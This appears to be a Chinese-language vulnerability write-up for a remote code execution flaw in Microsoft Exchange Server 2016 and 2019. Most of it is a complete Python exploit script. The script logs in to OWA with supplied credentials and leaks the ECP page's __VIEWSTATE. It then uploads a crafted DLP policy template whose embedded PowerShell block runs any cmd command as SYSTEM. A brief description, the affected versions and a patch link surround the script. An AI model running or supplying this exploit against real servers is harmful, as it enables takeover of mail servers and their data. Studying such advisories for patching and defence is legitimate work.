详情
由于对cmdlet参数的验证不正确,Microsoft Exchange服务器中存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以在系统用户的上下文中运行任意代码。利用此漏洞需要拥有以某个Exchange角色进行身份验证的用户权限。
影响版本
microsoft:exchange_server_2016: cu16/cu17
microsoft:exchange_server_2019: cu5/cu6
exp
import re
import sys
import random
import string
import urllib3
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def random_string(str_len=8):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(str_len))
def get_xml(c):
return """<?xml version="1.0" encoding="UTF-8"?>
<dlpPolicyTemplates>
<dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
<contentVersion>4</contentVersion>
<publisherName>si</publisherName>
<name>
<localizedString lang="en"></localizedString>
</name>
<description>
<localizedString lang="en"></localizedString>
</description>
<keywords></keywords>
<ruleParameters></ruleParameters>
<policyCommands>
<commandBlock>
<![CDATA[ $i=New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;$i.FileName="cmd";$i.Arguments="/c %s";$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start() ]]>
</commandBlock>
</policyCommands>
<policyCommandsResources></policyCommandsResources>
</dlpPolicyTemplate>
</dlpPolicyTemplates>""" % c
def trigger_rce(t, s, vs, cmd):
f = {
'__VIEWSTATE': (None, vs),
'ctl00$ResultPanePlaceHolder$senderBtn': (None, "ResultPanePlaceHolder_ButtonsPanel_btnNext"),
'ctl00$ResultPanePlaceHolder$contentContainer$name': (None, random_string()),
'ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl': ("dlprce.xml", get_xml(cmd)),
}
r = s.post("https://%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % t, files=f, verify=False)
assert r.status_code == 200, "(-) failed to trigger rce!"
def leak_viewstate(t, s):
r = s.get("https://%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % t, verify=False)
match = re.search("<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=\"(.*)\" />", r.text)
assert match != None, "(-) couldn't leak the __viewstate!"
return match.group(1)
def log_in(t, usr, pwd):
s = requests.Session()
d = {
"destination" : "https://%s/owa" % t,
"flags" : "",
"username" : usr,
"password" : pwd
}
s.post("https://%s/owa/auth.owa" % t, data=d, verify=False)
assert s.cookies.get(name='X-OWA-CANARY') != None, "(-) couldn't leak the csrf canary!"
return s
def main(t, usr, pwd, cmd):
s = log_in(t, usr, pwd)
print("(+) logged in as %s" % usr)
vs = leak_viewstate(t, s)
print("(+) found the __viewstate: %s" % vs)
trigger_rce(t, s, vs, cmd)
print("(+) executed %s as SYSTEM!" % cmd)
if __name__ == '__main__':
if len(sys.argv) != 4:
print("(+) usage: %s <target> <user:pass> <cmd>" % sys.argv[0])
print("(+) eg: %s 192.168.1.1 user123:123456 calc" % sys.argv[0])
sys.exit(-1)
trgt = sys.argv[1]
assert ":" in sys.argv[2], "(-) you need a user and password!"
usr = sys.argv[2].split(":")[0]
pwd = sys.argv[2].split(":")[1]
cmd = sys.argv[3]
main(trgt, usr, pwd, cmd)
修复
补丁:https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16875